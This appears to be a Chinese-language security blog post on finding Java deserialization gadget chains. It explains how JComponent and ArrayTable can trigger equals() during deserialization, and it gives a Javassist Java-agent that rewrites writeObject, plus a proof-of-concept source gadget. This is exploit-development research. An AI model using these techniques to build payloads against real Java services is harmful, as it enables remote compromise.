前言

分享下最近Java GC检测工作的相关收获(其实也是为了证明某些链不是误报而绞尽脑汁,主要依靠Java的动态Agent技术修改writeObject流程

好用的ArrayTable

你是否还在为了想用HashMap触发equals方法而为hashCode所困?那么JComponent这个类就可以帮到你。

我们看一下这个类的readObject方法:

private void readObject(ObjectInputStream s)
        throws IOException, ClassNotFoundException
{
    s.defaultReadObject();

    /* If there's no ReadObjectCallback for this stream yet, that is, if
         * this is the first call to JComponent.readObject() for this
         * graph of objects, then create a callback and stash it
         * in the readObjectCallbacks table.  Note that the ReadObjectCallback
         * constructor takes care of calling s.registerValidation().
         */
    ReadObjectCallback cb = readObjectCallbacks.get(s);
    if (cb == null) {
        try {
            readObjectCallbacks.put(s, cb = new ReadObjectCallback(s));
        }
        catch (Exception e) {
            throw new IOException(e.toString());
        }
    }
    cb.registerComponent(this);

    // Read back the client properties.
    int cpCount = s.readInt();
    if (cpCount > 0) {
        clientProperties = new ArrayTable();
        for (int counter = 0; counter < cpCount; counter++) {
            clientProperties.put(s.readObject(),
                                 s.readObject());
        }
    }
    if (getToolTipText() != null) {
        ToolTipManager.sharedInstance().registerComponent(this);
    }
    setWriteObjCounter(this, (byte)0);
}

其也是循环的读取键值对,然后调用放入到ArrayTable中,我们看看ArrayTable的put方法:

public void put(Object key, Object value){
    if (table==null) {
        table = new Object[] {key, value};
    } else {
        int size = size();
        if (size < ARRAY_BOUNDARY) {              // We are an array
            if (containsKey(key)) {
                Object[] tmp = (Object[])table;
                for (int i = 0; i<tmp.length-1; i+=2) {
                    if (tmp[i].equals(key)) {
                        tmp[i+1]=value;
                        break;
                    }
                }
            } else {
                Object[] array = (Object[])table;
                int i = array.length;
                Object[] tmp = new Object[i+2];
                System.arraycopy(array, 0, tmp, 0, i);

                tmp[i] = key;
                tmp[i+1] = value;
                table = tmp;
            }
        } else {                 // We are a hashtable
            if ((size==ARRAY_BOUNDARY) && isArray()) {
                grow();
            }
            ((Hashtable<Object,Object>)table).put(key, value);
        }
    }
}

如果containsKey的话则会触发equals比较,那我们先看看containsKey怎么做的:

public boolean containsKey(Object key) {
    boolean contains = false;
    if (table !=null) {
        if (isArray()) {
            Object[] array = (Object[])table;
            for (int i = 0; i<array.length-1; i+=2) {
                if (array[i].equals(key)) {
                    contains = true;
                    break;
                }
            }
        } else {
            contains = ((Hashtable)table).containsKey(key);
        }
    }
    return contains;
}

emm,直接就是key的比较,OK,大功告成(不是

其实如果你这么构造一下POC的话,你就会发现在writeObject提前触发了equals方法,所以导致最后无法利用

private void writeObject(ObjectOutputStream s) throws IOException {
    s.defaultWriteObject();
    if (getUIClassID().equals(uiClassID)) {
        byte count = JComponent.getWriteObjCounter(this);
        JComponent.setWriteObjCounter(this, --count);
        if (count == 0 && ui != null) {
            ui.installUI(this);
        }
    }
    ArrayTable.writeArrayTable(s, clientProperties);
}

主要在writeArrayTable方法中:

static void writeArrayTable(ObjectOutputStream s, ArrayTable table) throws IOException {
    Object keys[];

    if (table == null || (keys = table.getKeys(null)) == null) {
        s.writeInt(0);
    }
    else {
        int validCount = 0;

        for (int counter = 0; counter < keys.length; counter++) {
            Object key = keys[counter];

            /* include in Serialization when both keys and values are Serializable */
            if (    (key instanceof Serializable
                     && table.get(key) instanceof Serializable)
                ||
                /* include these only so that we get the appropriate exception below */
                (key instanceof ClientPropertyKey
                 && ((ClientPropertyKey)key).getReportValueNotSerializable())) {

                validCount++;
            } else {
                keys[counter] = null;
            }
        }
        // Write ou the Serializable key/value pairs.
        s.writeInt(validCount);
        if (validCount > 0) {
            for (Object key : keys) {
                if (key != null) {
                    s.writeObject(key);
                    s.writeObject(table.get(key));
                    if (--validCount == 0) {
                        break;
                    }
                }
            }
        }
    }
}

可以看到是按pair写入的,主要问题在于table.get方法:

public Object get(Object key) {
    Object value = null;
    if (table !=null) {
        if (isArray()) {
            Object[] array = (Object[])table;
            for (int i = 0; i<array.length-1; i+=2) {
                if (array[i].equals(key)) {
                    value = array[i+1];
                    break;
                }
            }
        } else {
            value = ((Hashtable)table).get(key);
        }
    }
    return value;
}

这里触发了key的equals方法,所以有什么办法吗,我们看这个ArrayTable类的table属性其实可以为Object数组,那我们直接模仿逻辑挨个写入也可以把,因此我就用到了Java动态Agent技术修改其writeObject流程,具体代码如下:

public byte[] transform(final ClassLoader loader, final String className, final Class<?> classBeingRedefined, final ProtectionDomain protectionDomain, final byte[] classfileBuffer) {
    if (className.equals("javax/swing/JComponent")) {
        try {
            ClassPool classPool = ClassPool.getDefault();
            CtClass jClazz = classPool.get("javax.swing.JComponent");
            CtMethod w = jClazz.getMethod("writeObject", "(Ljava/io/ObjectOutputStream;)V");
            String methodBody = "{" +
                "$1.defaultWriteObject();" +
                "$1.writeInt(2);" +
                "try {" +
                "Class clz = $0.clientProperties.getClass();" +
                "java.lang.reflect.Field field = clz.getDeclaredField(\"table\");" +
                "field.setAccessible(true);" +
                "Object[] table = (Object[]) field.get($0.clientProperties);" +
                "for (int i = 0; i < 4; i++) {" +
                "$1.writeObject(table[i]);" +
                "}" +
                "}" +
                "catch (Exception ex) {}" +
                "}";
            w.setBody(methodBody);
            byte[] byteCode = jClazz.toBytecode();
            jClazz.detach();
            return byteCode;
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }
    return null;
}

因此最后的Source Gadget就可以这么写(加上javaagent

JPanel j = new JPanel();
Class atClass = Class.forName("javax.swing.ArrayTable");
Object arrayTable = ReflectionUtil.createWithoutConstructor(atClass);
Object[] table = new Object[]{o1, "1", o2, "2"};

ReflectionUtil.setField(arrayTable, "table", table);
ReflectionUtil.setField(j, "clientProperties", arrayTable);
SerializeUtil.deserialize(SerializeUtil.serialize(j));

类似的还有比如AbstractAction,actionMap等,其都是用到了ArrayTable类,这里就不具体分析了,当然还有一些能触发动态代理的入口,不过一般也没什么用,这里也就不写了,期待大家也可以发现更多